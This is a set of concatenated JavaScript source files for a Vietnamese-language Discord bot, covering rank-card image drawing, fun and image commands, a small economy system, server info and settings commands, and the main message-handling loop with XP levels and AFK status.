if ((overlay && typeof background === 'string') || Buffer.isBuffer(background)) {
bg = await Canvas.loadImage(background);
ctx.drawImage(bg, 0, 0, canvas.width, canvas.height);
rankCard = await Canvas.loadImage(join(__dirname, '..', 'assets', 'images', 'rankcard2.png'));
} else if (!overlay && (typeof background === 'string' || Buffer.isBuffer(background))) {
bg = await Canvas.loadImage(background);
ctx.drawImage(bg, 0, 0, canvas.width, canvas.height);
rankCard = await Canvas.loadImage(join(__dirname, '..', 'assets', 'images', 'rankcard3.png'));
} else rankCard = await Canvas.loadImage(join(__dirname, '..', 'assets', 'images', 'rankcard.png'));
ctx.drawImage(rankCard, 0, 0, canvas.width, canvas.height);
const avatar = await Canvas.loadImage(await circle(avatarURL));
ctx.drawImage(avatar, 50, 50, 180, 180);
const i = await Canvas.loadImage(await circle(statuses[status.toLowerCase() || 'online']));
ctx.drawImage(i, 190, 185, 40, 40);
const font = 'Manrope';
let size = 36;
do {
size -= 1;
ctx.font = `bold ${size}px ${font}`;
} while(ctx.measureText(username).width > 350);
ctx.fillStyle = color || '#FFFFFF';
ctx.textAlign = 'start';
ctx.fillText(`${username}#${discrim}`, 260, 164);
ctx.font = `bold 32px ${font}`;
ctx.fillStyle = color || '#FFFFFF';
ctx.textAlign = 'end';
ctx.fillText(level, 934 - 64, 82);
ctx.fillStyle = color || '#FFFFFF';
ctx.fillText('LEVEL', 934 - 64 - ctx.measureText(level).width - 16, 82);
ctx.font = `bold 32px ${font}`;
ctx.fillStyle = color || '#FFFFFF';
ctx.textAlign = 'end';
ctx.fillText(rank, 934 - 64 - ctx.measureText(level).width - 16 - ctx.measureText(`LEVEL`).width - 16, 82);
ctx.fillStyle = color || '#FFFFFF';
ctx.fillText(
'RANK',
934 -
64 -
ctx.measureText(level).width -
16 -
ctx.measureText(`LEVEL`).width -
16 -
ctx.measureText(rank).width -
16,
82,
);
ctx.font = `bold 32px ${font}`;
ctx.fillStyle = color || '#FFFFFF';
ctx.textAlign = 'start';
ctx.fillText('/ ' + toAbbrev(neededXP), 690 + ctx.measureText(toAbbrev(currentXP)).width + 15, 164);
ctx.fillStyle = color || '#FFFFFF';
ctx.fillText(toAbbrev(currentXP), 690, 164);
let widthXP = (currentXP * 615) / neededXP;
if (widthXP > 615 - 18.5) widthXP = 615 - 18.5;
ctx.beginPath();
ctx.fillStyle = '#424751';
ctx.arc(257 + 18.5, 147.5 + 18.5 + 36.25, 18.5, 1.5 * Math.PI, 0.5 * Math.PI, true);
ctx.fill();
ctx.fillRect(257 + 18.5, 147.5 + 36.25, 615 - 18.5, 37.5);
ctx.arc(257 + 615, 147.5 + 18.5 + 36.25, 18.75, 1.5 * Math.PI, 0.5 * Math.PI, false);
ctx.fill();
ctx.beginPath();
if (Array.isArray(gradient) && gradient.length > 0) {
gradient.length = 2;
const gradientContext = ctx.createRadialGradient(widthXP, 0, 500, 0);
// eslint-disable-next-line no-shadow
gradient.forEach((i) => {
gradientContext.addColorStop(gradient.indexOf(i), i);
});
ctx.fillStyle = gradientContext;
} else {
ctx.fillStyle = color;
}
ctx.arc(257 + 18.5, 147.5 + 18.5 + 36.25, 18.5, 1.5 * Math.PI, 0.5 * Math.PI, true);
ctx.fill();
ctx.fillRect(257 + 18.5, 147.5 + 36.25, widthXP, 37.5);
ctx.arc(257 + 18.5 + widthXP, 147.5 + 18.5 + 36.25, 18.75, 1.5 * Math.PI, 0.5 * Math.PI, false);
ctx.fill();
return canvas.toBuffer();
},
};<file_sep>const canva = require('canvacord');
const { MessageAttachment } = require('discord.js');
module.exports = {
name: 'jail',
category: 'images',
description: 'Cho vào tù',
usage: '<PREFIX>jail [@tag]',
run: async (client, message, args) => {
const nguoitag = message.mentions.members.first() || message.guild.members.cache.get(args[0]) || message.member;
const avaurl = nguoitag.user.displayAvatarURL({ format: 'png', dynamic: false });
const image = await canva.jail(avaurl);
const attachment = new MessageAttachment(image, 'jail.png');
return message.channel.send(attachment);
},
};<file_sep>const { MessageEmbed, MessageAttachment } = require('discord.js');
const { readdirSync, readFileSync } = require('fs');
module.exports = {
name: 'xinh',
category: 'images',
description: 'Show ảnh gái(nguồn từ gaixinhchonloc.com)',
aliases: ['girl'],
usage: '<PREFIX>girl',
cooldown: 3,
run: async (client, message, args) => {
const folder = readdirSync("././assets/gaixinhchonloc");
const randomFile = folder[Math.floor(Math.random() * folder.length)];
const file = readFileSync(`././assets/gaixinhchonloc/${randomFile}`);
const ext = randomFile.slice(-3);
const attachment = new MessageAttachment(file, `gaixinh.${ext}`);
const embed = new MessageEmbed()
.attachFiles(attachment)
.setImage(`attachment://gaixinh.${ext}`)
.setFooter('Nguồn: gaixinhchonloc.com');
message.channel.send(embed);
},
};<file_sep>const { MessageEmbed } = require('discord.js');
const publicIP = require('public-ip');
const ipgeolocation = process.env.IPGEOLOCATION;
const axios = require('axios');
module.exports = {
name: "ping",
category: "info",
description: "Returns latency and API ping",
usage: "<PREFIX>ping",
run: async (client, message, args) => {
const msg = await message.channel.send(`🏓 Đang load ping....`);
try {
const myIP = await publicIP.v4();
let data = await axios.get(`https://api.ipgeolocation.io/ipgeo?apiKey=${ipgeolocation}&ip=${myIP}`);
data = data.data;
await axios.get('https://srhpyqt94yxb.statuspage.io/api/v2/components.json').then(response => {
let api = response.data.components.filter(el => el.name == "API");
api = api[0];
const embed = new MessageEmbed()
.addField('Độ trễ (bot):', `${Math.floor(msg.createdTimestamp - message.createdTimestamp)}ms`, true)
.addField('Độ trễ (API): ', `${client.ws.ping}ms`, true)
.addField('Discord API status: ', api.status, true)
.addField('Vị trí hosting: ', `${data.city}, ${data.state_prov}, ${data.country_code2}`, true);
msg.edit('Pong =))! 🏓', embed);
});
}
catch(e) {
console.log(e);
return msg.edit(`Pong! \`${Math.floor(msg.createdTimestamp - message.createdTimestamp)}ms\``);
}
},
};<file_sep>const { getunplash } = require('../../functions/utils');
module.exports = {
name: "rabbit",
category: "animals",
description: "Gởi ảnh của thỏ",
usage: "<PREFIX>rabbit",
run: async (client, message, args) => {
const embed = await getunplash('rabbit');
if (embed === null) return message.channel.send('Bot lỗi, vui lòng thử lại sau!');
message.channel.send(embed);
},
};
<file_sep>const { MessageEmbed } = require("discord.js");
const axios = require("axios");
const db = require('quick.db');
const shipDb = new db.table('shipDb');
module.exports = {
name: "hug",
category: "fun",
description: "Ôm ai đó hoặc tất cả",
usage: "<PREFIX>hug [@tag]",
example: "<PREFIX>hug (ôm tất cả) hoặc <PREFIX>hug @AldermanJ#1234",
run: async (client, message, args) => {
let nguoitag = message.mentions.members.array();
if (nguoitag.length == 0) nguoitag = [message.guild.members.cache.get(args[0])];
try {
const response = await axios.get('https://some-random-api.ml/animu/hug');
const embed = new MessageEmbed()
.setImage(response.data.link);
if (nguoitag.length == 0 || !nguoitag[0]) embed.setDescription(`${message.member} đã ôm tất cả mọi người <3`);
else {
embed.setDescription(`Awwww, ${message.member} đã ôm ${nguoitag} <3`);
if (shipDb.has(message.author.id)) {
const authorData = await shipDb.get(message.author.id);
const nguoiTagID = nguoitag.map(member => member.id);
if (nguoiTagID.includes(authorData.target.id)) {
authorData.target.hugs++;
await shipDb.set(message.author.id, authorData);
embed.setFooter(`Cái ôm ${authorData.target.hugs !== 1 ? `thứ ${authorData.target.hugs}` : 'đầu tiên'} của bạn.`);
}
}
}
return message.channel.send(embed);
}
catch(e) {
console.log(e);
return message.channel.send("Bot lỗi khi cố gắng lấy hình, hãy thử lại sau");
}
},
};<file_sep>const eco = require('../../functions/economy');
const { laysodep } = require('../../functions/utils');
module.exports = {
name: "cash",
cooldown: 5,
category: 'gamble',
aliases: ["balance", "bal"],
description: "Xem tiền hiện tại có trong tài khoản",
usage: "<PREFIX>cash",
run: async (client, message, args) => {
const moneyEmoji = client.emojis.cache.find(e => e.name == "money" && e.guild.id == '736922355858800640');
const money = await eco.fetchMoney(message.author.id);
message.channel.send(`${moneyEmoji ? moneyEmoji : ''} Bạn đang có **${laysodep(money)}** VNĐ!`);
},
};<file_sep>const { MessageEmbed } = require('discord.js');
const { readdirSync } = require('fs');
const db = require('quick.db');
module.exports = {
name: "commands",
aliases: ['cmd'],
category: "info",
description: "commands",
usage: "commands",
run: async (client, message, args) => {
const server_prefix = await db.get(`${message.guild.id}.prefix`);
const embed = new MessageEmbed()
.setColor("#00FFFF")
.setAuthor(`Help command`, message.guild.iconURL())
.setThumbnail(client.user.displayAvatarURL());
if (!args[0]) {
const categories = readdirSync('./commands/');
let commandsize = 0;
categories.forEach(category => {
const dir = client.commands.filter(c => c.category === category);
commandsize += parseInt(dir.size);
const capitalise = category.slice(0, 1).toUpperCase() + category.slice(1);
try {
embed.addField(`<a:muiten:735756464257368125> ${capitalise} [${dir.size} lệnh]:`, dir.map(c => `\`${c.name}\``).join(' '));
} catch(e) {
console.log(e);
}
});
embed.setDescription(`Danh sách lệnh cho bot **${message.guild.me.displayName}**\n Prefix của bot là: \`${server_prefix}\`\nTổng lệnh bot có: ${commandsize} lệnh`)
.setFooter(`Sử dụng ${server_prefix}help {lệnh} để xem chi tiết.`);
return message.channel.send(embed);
} else {
return getCMD(client, message, args[0]);
}
},
};
function getCMD(client, message, input) {
const server_data = db.get(message.guild.id);
const embed = new MessageEmbed();
const cmd = client.commands.get(input.toLowerCase()) || client.commands.get(client.aliases.get(input.toLowerCase()));
let info = `Không tìm thấy lệnh tên là: **${input.toLowerCase()}**`;
if (!cmd) {
return message.channel.send(embed.setColor("RED").setDescription(info));
}
if (cmd.name) info = `**Tên lệnh**: \`${server_data.prefix}${cmd.name}\``;
if (cmd.aliases) info += `\n**Tên rút gọn**: ${cmd.aliases.map(a => `\`${a}\``).join(", ")}`;
if (cmd.description) info += `\n**Chi tiết về bot**: ${cmd.description}`;
if (cmd.usage) {
info += `\n**Cách sử dụng lệnh**: \`${server_data.prefix}${cmd.usage}\``;
embed.setFooter(`Cú pháp: <> = bắt buộc, [] = không bắt buộc`);
}
if (cmd.note) info += `\n**Note**: ${cmd.note}`;
if (cmd.example) info += `\n**VD**: \`${server_data.prefix}${cmd.example}\``;
return message.channel.send(embed.setColor("GREEN").setDescription(info));
}<file_sep>const SS = require('string-similarity');
const { MessageEmbed } = require('discord.js');
const { trimArray } = require('../../functions/utils');
module.exports = {
name: "members",
aliases: ['member'],
category: "info",
description: "Xem tên thành viên trong 1 role.",
usage: "<PREFIX>members <tên role>",
run: async (client, message, args) => {
if (!args[0]) return message.reply(`Ghi tên role giúp mình với D:`).then(m => m.delete({ timeout: 5000 }));
let role = message.guild.roles.cache.get(args[0]);
if (!role) {
role = message.guild.roles.cache.filter(r => r.managed === false).array().map(g => g.name);
const search = args.join(' ');
const matches = SS.findBestMatch(search, role);
role = message.guild.roles.cache.find(el => el.name == matches.bestMatch.target);
}
const members = role.members.map(m => m.user);
const embed = new MessageEmbed()
.setTitle(`Thành viên trong \`${role.name}\``)
.setDescription(members.length < 30 ? members.join('\n') : members.length > 30 ? trimArray(members, 30) : 'None')
.setFooter(`Số người có role này: ${role.members.size}`);
message.channel.send(embed);
},
};<file_sep>const ss = require('string-similarity');
const db = require('quick.db');
module.exports = {
name: 'setwelcome',
category: 'settings',
description: 'Chọn channel để bot nhắn tin nhắn chào mừng',
usage: '<PREFIX>setwelcome <#channel hoặc ID>',
run: async (client, message, args) => {
if (!message.member.hasPermission("MANAGE_GUILD")) return message.reply('Bạn cần có quyền MANAGE_GUILD để chạy lệnh này.');
if (!args[0]) return message.channel.send("Vui lòng nhập channel!");
let id = args[0];
if (id.startsWith("<#")) id = id.slice(2, id.length - 1);
let channel = message.guild.channels.cache.get(id);
if (isNaN(id)) {
const listChannel = message.guild.channels.cache.filter(c => c.type == 'text').map(ch => ch.name);
const channelName = args.join(' ');
const matches = ss.findBestMatch(channelName, listChannel);
if (matches.bestMatch.rating < 0.6) return message.channel.send(`Không tìm thấy channel tên ${channelName}`);
channel = message.guild.channels.cache.find(ch => ch.name == matches.bestMatch.target);
}
if (!channel) return message.channel.send('Không tìm thấy channel!');
// log to database
await db.set(`${message.guild.id}.welcomechannel`, channel.id);
message.channel.send(`Thao tác thành công!`);
},
};<file_sep>const { post } = require('../../functions/post');
const { readFileSync, existsSync } = require('fs');
module.exports = {
name: 'exportlog',
aliases: ['explog'],
description: 'Xuất log ra hastebin (owner bot only)',
run: async (client, message, args) => {
const logPath = '././log.txt';
if (!existsSync(logPath)) return message.channel.send('Không tìm thấy file log.txt');
const data = readFileSync(logPath, 'utf-8');
const res = await post(data);
message.channel.send(res);
},
};<file_sep>const { getMember } = require('../../functions/utils');
module.exports = {
name: "pray",
category: "fun",
description: "Cầu nguyện cho bạn bè :DD",
usage: "pray [@tag, id]",
example: "pray @AldermanJ<PASSWORD>",
run: async (client, message, args) => {
if (!args[0]) return message.reply("Cầu nguyện thì phải cần tag nha bạn");
const person = getMember(message, args[0]);
if (message.author.id === person.id) return message.reply("Có thờ có thiêng có duyên chết liền. Cầu cho người khác chứ cầu cho mình hoài vậy.");
message.channel.send(`🙏 ${message.member.displayName} đã cầu nguyện cho ${person.displayName} \n Chúc bạn may mắn :D`);
},
};<file_sep>const { readFileSync, readdirSync } = require('fs');
const { MessageAttachment, MessageEmbed } = require('discord.js');
module.exports = {
name: 'highfive',
aliases: ['high5'],
description: 'Đập tay :)',
usage: '<PREFIX> high5 <@tag, id>',
example: '<PREFIX> high5 @AldermanJ#1234',
run: async (client, message, args) => {
const emoji = client.emojis.cache.get('741039423080366090') || '🙏';
const nguoitag = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
if (nguoitag.length == 0) return message.reply('Tag ai đó đi bạn ơi :(');
if (nguoitag.user.id == message.author.id) return message.channel.send('Bạn không thể tự đập tay chính mình.');
const folder = readdirSync('././assets/highfive/');
const file = readFileSync(`././assets/highfive/${folder[Math.floor(Math.random() * folder.length)]}`);
const attachment = new MessageAttachment(file, 'highfive.gif');
const embed = new MessageEmbed()
.attachFiles(attachment)
.setImage('attachment://highfive.gif')
.setDescription(`${message.member} đã đập tay với ${nguoitag} ${emoji}`);
message.channel.send(embed);
},
};<file_sep>const serverFlags = require('../../assets/json/serverflag.json');
const { MessageEmbed } = require('discord.js');
const { trimArray } = require('../../functions/utils');
const moment = require('moment');
module.exports = {
name: 'serverinfo',
aliases: ['guild', 'server', 'guildinfo'],
description: 'Đưa thông tin của server!',
category: 'info',
usage: '<PREFIX>serverinfo',
run: async (client, message, args) => {
const roles = message.guild.roles.cache.sort((a, b) => b.position - a.position).map(role => role.toString());
const members = message.guild.members.cache;
const channels = message.guild.channels.cache;
const emojis = message.guild.emojis.cache;
const embed = new MessageEmbed()
.setTitle(`**Thông tin server __${message.guild.name}__**`)
.setColor('BLUE')
.setFooter(`Server ID: ${message.guild.id}`)
.setThumbnail(message.guild.iconURL({ dynamic: true }))
.addField('Chung', [`**--> Tên server:** ${message.guild.name}`,
`**--> Owner:** ${message.guild.owner.user.tag} (${message.guild.ownerID})`,
`**--> Level của server:** ${message.guild.premiumTier ? `Level ${message.guild.premiumTier}` : 'None'}`,
`**--> Bộ lọc:** ${serverFlags.filterLevels[message.guild.explicitContentFilter]}`,
`**--> Mức độ xác minh:** ${serverFlags.verificationLevels[message.guild.verificationLevel]}`])
.addField('Thống kê', [`**--> Số role:** ${roles.length}`,
`**--> Số emoji:** ${emojis.size} (${emojis.filter(e => !e.animated).size} emoji thường và ${emojis.filter(e => e.animated).size} emoji động)`,
`**--> Thành viên:** ${message.guild.memberCount} (${members.filter(m => !m.user.bot).size} người và ${members.filter(m => m.user.bot).size} bot)`,
`**--> Channel:** ${channels.filter(c => c.type === 'text').size + channels.filter(c => c.type === 'voice').size} (${channels.filter(c => c.type === 'text').size} text channel và ${channels.filter(c => c.type === 'voice').size} voice channel)`,
`**--> Số boost:** ${message.guild.premiumSubscriptionCount || '0'}`,
`**--> Ngày tạo server:** ${moment(message.guild.createdTimestamp).format('MM/DD/YYYY hh:mm:ss')}`])
.addField('Thống kê thành viên', [`**--> Online:** ${members.filter(m => m.presence.status === 'online').size}`,
`**--> Không hoạt động:** ${members.filter(m => m.presence.status === 'idle').size}`,
`**--> Không làm phiền:** ${members.filter(m => m.presence.status === 'dnd').size}`,
`**--> Offline:** ${members.filter(m => m.presence.status === 'offline').size}`])
.addField(`Roles: `, roles.length < 10 ? roles.join(', ') : roles.length > 10 ? trimArray(roles, 10) : 'None')
.setTimestamp();
message.channel.send(embed);
},
};<file_sep>const eco = require('../../functions/economy');
const { MessageEmbed } = require('discord.js');
const { laysodep } = require('../../functions/utils');
module.exports = {
name: 'moneyleaderboard',
aliases: ['mleaderboard', 'mlb'],
description: 'Xem bảng xếp hạng tiền trong server',
category: 'gamble',
cooldown: 10,
usage: '<PREFIX>mlb',
run: async (client, message, _) => {
const bxh = await eco.leaderBoard(10, client, message, '💵');
const members = message.guild.members.cache.map(m => m.id);
let num = 0;
const embed = new MessageEmbed()
.setTitle(`Bảng xếp hạng của server ${message.guild.name}`);
for (let i = 0; i < bxh.length; i++) {
const idList = bxh[i];
const ids = idList.ID.split('_')[1];
if (!members.includes(ids)) continue;
num++;
embed.addField(`${num}. ${client.users.cache.get(ids).tag}`, `Tiền: ${laysodep(idList.data)} 💸`);
if (num > 9) break;
// 10 nguoi
}
return message.channel.send(embed);
},
};
<file_sep>const { ownerID } = require('../../config.json');
module.exports = {
name: "setnick",
aliases: ["setnickname"],
category: "moderation",
description: "set nickname",
usage: "<PREFIX>setnick <tag> [nickname]",
note: "nickname bỏ trống = reset nickname",
example: "<PREFIX>setnick @phamleduy04 Duy",
run: async (client, message, args) => {
if (!message.member.hasPermission('MANAGE_NICKNAMES') && message.author.id !== ownerID) return message.reply("Bạn cần có quyền `\ MANAGE_NICKNAMES `\ để có thể đổi nickname.");
const user = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
let output = args.slice(1).join(' ');
if (!args[0]) return message.reply(`Phải tag ai đó chứ`);
if (!output) output = user.user.username;
const nickname = args.slice(1).join(' ');
const status = await user.setNickname(nickname)
.catch(e => {
return e;
});
if (status.code == 50013) return message.channel.send(`Mình không có quyền đổi nickname cho người này!`);
if (status.message && status.name) return message.channel.send(`Lỗi: ${status.name}, ${status.message}`);
message.channel.send(`Set nickname thành công cho ${user} thành **${output}**`);
},
};<file_sep>const { Collection, MessageEmbed, Client, Util, MessageAttachment } = require("discord.js");
const { config } = require("dotenv");
config({
path: __dirname + "/.env",
});
const timerEmoji = ':timer:';
const fs = require("fs");
const SQLite = require('better-sqlite3');
const sql = new SQLite('./data.sqlite');
const ms = require('ms');
const cooldown = new Set();
const client = new Client({ disableMentions: "everyone", retryLimit: 5 });
const { timezone, ownerID } = require('./config.json');
const { BID, BRAINKEY } = process.env;
const { welcome } = require('./functions/canvasfunction');
if (!process.env.TYPE_RUN) throw new Error("Chạy lệnh npm run dev hoặc npm run build");
const { log } = require('./functions/log');
// discord.bots.gg api
const axios = require('axios');
/*const instance = axios.create({
baseURL: 'https://discord.bots.gg/api/v1/',
timeout: 10000,
headers: { "Authorization": process.env.DBOTGG },
});
if (process.env.TYPE_RUN == 'production') {
const DBL = require('dblapi.js');
const dbl = new DBL(process.env.TOPGG, client);
// top.gg API
dbl.on('error', e => {
log(e);
});
}*/
const db = require('quick.db');
const afkData = new db.table('afkdata');
client.commands = new Collection();
client.aliases = new Collection();
const cooldowns = new Collection();
client.categories = fs.readdirSync("./commands/");
["command"].forEach(handler => {
require(`./handlers/${handler}`)(client);
});
client.on("ready", () => {
console.log(`Hi, ${client.user.username} is now online!`);
// database
const table = sql.prepare("SELECT count(*) FROM sqlite_master WHERE type='table' AND name = 'xpdata';").get();
if (!table['count(*)']) {
// If the table isn't there, create it and setup the database correctly.
sql.prepare("CREATE TABLE xpdata (id TEXT PRIMARY KEY, user TEXT, guild TEXT, xp INTEGER, level INTEGER);").run();
// Ensure that the "id" row is always unique and indexed.
sql.prepare("CREATE UNIQUE INDEX idx_xpdata_id ON xpdata (id);").run();
sql.pragma("synchronous = 1");
sql.pragma("journal_mode = wal");
}
// And then we have two prepared statements to get and set the score data.
client.getScore = sql.prepare("SELECT * FROM xpdata WHERE user = ? AND guild = ?");
client.setScore = sql.prepare("INSERT OR REPLACE INTO xpdata (id, user, guild, xp, level) VALUES (@id, @user, @guild, @xp, @level);");
// set presence
client.user.setPresence({
status: "online",
activity: {
name: `Hoạt động tại ${client.guilds.cache.size} guilds`,
type: "PLAYING",
},
});
/*if (process.env.TYPE_RUN == 'production') {
instance.post(`bots/${client.user.id}/stats`, {
guildCount: client.guilds.cache.size,
});
setInterval(function() {
client.user.setPresence({
status: "online",
activity: {
name: `Đang phục vụ ${client.guilds.cache.size} servers`,
type: 'PLAYING',
},
});
instance.post(`bots/${client.user.id}/stats`, {
guildCount: client.guilds.cache.size,
});
}, 36e5);
}*/
});
client.on("guildCreate", async newguild => {
const embed = new MessageEmbed()
.setTitle("New Server Joined")
.addField('Guild Name: ', newguild.name, true)
.addField('Guild ID: ', newguild.id, true)
.addField("Guild members: ", newguild.memberCount, true)
.addField("Owner server: ", newguild.owner.user.tag, true)
.setFooter(`OwnerID: ${newguild.ownerID}`);
client.channels.cache.get('743054633747873813').send(embed);
});
client.on("guildDelete", async oldguild => {
const embed = new MessageEmbed()
.setTitle("Bot left the server!")
.addField('Guild Name: ', oldguild.name, true)
.addField('Guild ID: ', oldguild.id, true)
.addField('Guild members: ', oldguild.memberCount, true)
.addField("Owner server: ", oldguild.owner.user.tag, true)
.setFooter(`OwnerID: ${oldguild.ownerID}`);
client.channels.cache.get('743054633747873813').send(embed);
});
client.on('guildMemberAdd', async member => {
const serverdata = db.get(member.guild.id);
if (!db.has(`${member.guild.id}.welcomechannel`)) return;
const channel = member.guild.channels.cache.get(serverdata.welcomechannel);
if (!channel) return;
const image = await welcome(member.user.username, member.user.discriminator, member.user.displayAvatarURL({ format: 'png', dynamic: false }), member.guild.members.cache.size);
const attachment = new MessageAttachment(image, 'welcome.png');
return channel.send(attachment);
});
client.on("message", async message => {
if (message.author.bot) return;
if (!message.guild) return;
// prefix
let serverData = await db.get(message.guild.id);
if (!serverData) {
serverData = db.set(message.guild.id, { prefix: "s.", logchannel: null, msgcount: true, defaulttts: null, botdangnoi: false, aiChannel: null, msgChannelOff: [], blacklist: false });
}
if (!db.has(`${message.guild.id}.msgChannelOff`)) await db.set(`${message.guild.id}.msgChannelOff`, []);
const listChannelMsg = await db.get(`${message.guild.id}.msgChannelOff`);
if (message.guild && db.get(`${message.guild.id}.msgcount`) && !cooldown.has(message.author.id) && !listChannelMsg.includes(message.channel.id)) {
let emoji;
try {
emoji = Util.parseEmoji(message.content);
}
catch(e) {}
if (!emoji || emoji == null || emoji.id == null) {
let userdata = client.getScore.get(message.author.id, message.guild.id);
if (!userdata) userdata = { id: `${message.guild.id}-${message.author.id}`, user: message.author.id, guild: message.guild.id, xp: 0, level: 1 };
if (userdata.level !== 999) {
const xpAdd = Math.floor(Math.random() * 12);
const nextlvl = userdata.level * 300;
if(userdata.xp > nextlvl) {
userdata.level++;
message.reply(`Bạn đã lên cấp **${userdata.level}**!`);
}
userdata.xp += xpAdd;
client.setScore.run(userdata);
}
}
cooldown.add(message.author.id);
setTimeout(() => {
cooldown.delete(message.author.id);
}, ms('1m'));
}
// ai channel
/*const aiChannel = await db.get(`${message.guild.id}.aiChannel`);
if (!aiChannel) await db.set(`${message.guild.id}.aiChannel`, null);
else if (message.channel.id == aiChannel) {
await axios.get(`http://api.brainshop.ai/get?bid=${BID}&key=${BRAINKEY}&uid=1&msg=${encodeURIComponent(message.content)}`)
.then(response => {
message.channel.send(response.data.cnt);
});
}*/
// check unafk
let checkAFK = await afkData.get(message.author.id);
if (!checkAFK) checkAFK = await reset_afk(message.author.id);
if (checkAFK.afk === true) {
await reset_afk(message.author.id);
message.reply('Bạn không còn AFK nữa!');
}
const mention = message.mentions.members.array();
if (mention.length !== 0) {
mention.forEach(async member => {
let userAFK = await afkData.get(member.id);
if (!userAFK) userAFK = await reset_afk(member.id);
if (userAFK.afk === true) message.channel.send(`${member.user.username} đã AFK, lời nhắn: ${userAFK.loinhan}`);
});
}
const prefixlist = [`<@${client.user.id}>`, `<@!${client.user.id}>`, serverData.prefix];
let prefix = null;
for (const thisprefix of prefixlist) {
if (message.content.toLowerCase().startsWith(thisprefix)) prefix = thisprefix;
}
if (prefix === null) return;
if (!message.content.startsWith(prefix)) return;
const blacklist_status = await db.get(`${message.guild.id}.blacklist`);
if (!blacklist_status) await db.set(`${message.guild.id}.blacklist`, false);
const args = message.content.slice(prefix.length).trim().split(/ +/g);
const cmd = args.shift().toLowerCase();
if (cmd.length === 0) return;
let command = client.commands.get(cmd);
if (!command) command = client.commands.get(client.aliases.get(cmd));
if (command) {
if (!cooldowns.has(command.name)) cooldowns.set(command.name, new Collection());
const now = Date.now();
const timestamps = cooldowns.get(command.name);
const cooldownAmount = (command.cooldown || 3) * 1000;
if (timestamps.has(message.author.id) && message.author.id !== ownerID) {
const expirationTime = timestamps.get(message.author.id) + cooldownAmount;
if (now < expirationTime) {
const timeLeft = (expirationTime - now) / 1000;
return message.reply(`${timerEmoji} Vui lòng đợi thêm \`${timeLeft.toFixed(1)} giây\` để có thể sử dụng lệnh này.`);
}
}
timestamps.set(message.author.id, now);
setTimeout(() => timestamps.delete(message.author.id), cooldownAmount);
if (blacklist_status === true && command.name !== 'blacklist') return message.channel.send('Server bạn đang nằm trong blacklist, vui lòng liên hệ owner của bot');
logging(`${message.author.tag} đã sử dụng lệnh ${command.name} ở server ${message.guild.name}(${message.guild.id})`);
command.run(client, message, args);
}
});
client.on('voiceStateUpdate', (oldstate, newstate) => {
if (oldstate.member.id !== client.user.id) return;
if (newstate.channelID == null && (db.get(`${oldstate.guild.id}.botdangnoi`) == true)) {
db.set(`${oldstate.guild.id}.botdangnoi`, false);
}
});
client.on('error', (err) => {
log(err);
});
process.on('warning', console.warn);
// console chat
const y = process.openStdin();
y.addListener("data", res => {
const x = res.toString().trim().split(/ +/g);
const send = x.join(' ');
if (send.length == 0) return console.log("Kh gởi được tin nhắn trống :)");
client.channels.cache.get("743054633747873813").send(send);
});
// end console chat
function logging(content) {
const moment = require('moment-timezone');
log(`${moment.tz(timezone).format("LTS")} || ${content}`);
}
async function reset_afk(id) {
if (!id) throw new Error('Thiếu ID');
return await afkData.set(id, { afk: false, loinhan: '' });
}
if (process.env.TYPE_RUN == 'ci') process.exit();
client.login(process.env.TOKEN);<file_sep>const SQLite = require('better-sqlite3');
const sql = new SQLite('./data.sqlite');
const { ownerID } = require('../../config.json');
module.exports = {
name: 'reset',
category: 'settings',
description: 'Reset rank cho server!',
usage: '<PREFIX>reset',
run: async (client, message, args) => {
if(message.author.id !== ownerID && !message.member.hasPermission("MANAGE_GUILD")) return message.reply('Bạn cần có quyền MANAGE_GUILD để sử dụng lệnh này.');
await sql.prepare('DELETE FROM xpdata WHERE guild = ?').run(message.guild.id);
message.channel.send('Đã reset rank của server!');
},
};<file_sep>const { MessageEmbed } = require("discord.js");
const { KSoftClient } = require('ksoft.js');
const ksoft_key = process.env.KSOFTKEY;
const ksoft = new KSoftClient(ksoft_key);
module.exports = {
name: "food",
category: "images",
description: "Gởi ảnh thức ăn từ reddit",
usage: "<PREFIX>food",
run: async (client, message, args) => {
const subReddits = ["appetizers", "asianeats", "BBQ", "bento", "BreakfastFood", "burgers", "cakewin", "Canning", "cereal", "charcuterie", "Cheese", "chinesefood", "cider", "condiments", "curry", "culinaryplating", "cookingforbeginners", "cookingwithcondiments", "doener", "eatwraps", "fastfood", "fishtew", "fried", "GifRecipes", "grease", "hot_dog", "icecreamery", "irish_food", "JapaneseFood", "jello", "KoreanFood", "FoodPorn", "meat", "pasta", "pizza", "ramen", "seafood", "spicy", "steak", "sushi", "sushiroll", 'Vitamix'];
const random = subReddits[Math.floor(Math.random() * subReddits.length)];
try {
const img = await ksoft.images.reddit(random, { removeNSFW: true, span: 'month' });
const embed = new MessageEmbed()
.setColor('RANDOM')
.setImage(img.url)
.setTitle(`Từ /r/${random}`)
.setURL(img.post.link)
.setFooter(`Upvote: ${img.post.upvotes} | Downvote: ${img.post.downvotes}`);
message.channel.send(embed);
} catch(e) {
message.channel.send(`Bot lỗi: \`${e.message}\`, vui lòng thử lại sau!`);
console.log(e);
}
},
};<file_sep>const canva = require('canvacord');
const { MessageAttachment } = require('discord.js');
const db = require('quick.db');
const shipDb = new db.table('shipDb');
module.exports = {
name: "spank",
category: "images",
description: "Vỗ mông :))",
usage: "<PREFIX>spank [@tag]",
example: "<PREFIX>spank @AldermanJ#1234",
run: async (client, message, args) => {
const url1 = message.author.displayAvatarURL({ format: 'png', dynamic: false });
const nguoitag = message.mentions.members.first() || message.guild.members.cache.get(args[0]) || message.member;
const avaurl = nguoitag.user.displayAvatarURL({ format: 'png', dynamic: false });
const image = await canva.spank(url1, avaurl);
const attach = new MessageAttachment(image, 'spank.png');
message.channel.send(attach);
if (shipDb.has(message.author.id)) {
const authorData = await shipDb.get(message.author.id);
if (authorData.target.id == nguoitag.id) {
authorData.target.spank++;
await shipDb.set(message.author.id, authorData);
}
}
},
};<file_sep>const eco = require('../../functions/economy');
const { laysodep } = require('../../functions/utils');
const axios = require('axios');
const { MessageEmbed } = require('discord.js');
module.exports = {
name: "daily",
category: 'gamble',
aliases: ['hangngay'],
cooldown: 24*3600, //24*3600
description: "Nhận tiền ",
usage: 'daily',
note: 'Quà hằng ngày!',
run: async (client, message, args) => {
const random = Math.floor(Math.random() * 5000);
await eco.addMoney(message.author.id, random);
message.channel.send(`:moneybag: Bạn vừa được cộng ${random} VNĐ!`);
},
};<file_sep># Sirin
<file_sep>const db = require('quick.db');
module.exports = {
name: "fix",
aliases: [],
category: 'tts',
